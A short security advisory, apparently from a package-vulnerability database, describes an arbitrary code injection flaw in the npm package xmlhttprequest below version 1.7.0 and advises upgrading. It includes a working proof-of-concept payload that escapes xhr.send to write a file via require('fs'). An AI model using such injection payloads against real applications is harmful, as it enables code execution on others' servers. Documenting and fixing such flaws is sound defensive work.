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Known vulnerabilities in the xmlhttprequest package. This does not include vulnerabilities belonging to this package’s dependencies.

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Arbitrary Code Injection

xmlhttprequest is a wrapper for the built-in http client to emulate the browser XMLHttpRequest object.

Affected versions of this package are vulnerable to Arbitrary Code Injection. Provided requests are sent synchronously (async=False on xhr.open), malicious user input flowing into xhr.send could result in arbitrary code being injected and run.

POC

const { XMLHttpRequest } = require("xmlhttprequest")

const xhr = new XMLHttpRequest()
xhr.open("POST", "http://localhost.invalid/", false /* use synchronize request */)
xhr.send("\\');require(\"fs\").writeFileSync(\"/tmp/aaaaa.txt\", \"poc-20210306\");req.end();//")

How to fix Arbitrary Code Injection?

Upgrade xmlhttprequest to version 1.7.0 or higher.

<1.7.0
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